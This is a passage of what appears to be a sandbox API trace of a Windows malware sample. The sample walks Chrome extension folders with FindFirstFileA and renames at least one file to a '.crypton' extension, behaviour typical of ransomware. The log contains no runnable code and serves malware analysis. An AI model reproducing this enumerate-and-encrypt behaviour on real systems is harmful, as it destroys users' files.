ftLastAccessTime.dwLowDateTime=0xeed3d6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeed3d6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.375] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeed3d6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeed3d6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.383] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeed63800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeed63800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.389] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeed63800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeed63800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0190.394] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeed89960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeed89960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549950 [0190.400] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeed89960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeed89960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549990 [0190.404] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.crypton"), dwFlags=0x2) returned 1 [0190.411] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeedafac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeedafac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0190.416] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeedafac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeedafac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.422] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeedafac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeedafac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.427] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeedd5c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeedd5c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.432] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeedd5c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeedd5c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.439] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeedd5c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeedd5c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.448] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeedfbd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeedfbd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.453] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeedfbd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeedfbd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.459] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeee21ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeee21ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.464] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeee21ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeee21ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.469] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeee21ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeee21ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.474] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeee48040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeee48040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.480] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeee48040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeee48040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.485] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeee48040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeee48040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.491] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeee6e1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeee6e1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.496] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeee6e1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeee6e1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.501] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeee6e1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeee6e1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.506] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeee94300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeee94300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.513] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeee94300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeee94300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.518] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeeba460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeeba460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.527] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeeba460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeeba460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.532] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeeba460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeeba460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.538] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeee05c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeee05c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.543] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeee05c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeee05c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.549] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeee05c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeee05c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.553] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef06720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef06720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.559] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef06720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef06720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.564] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef06720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef06720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.569] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeef2c880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeef2c880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, 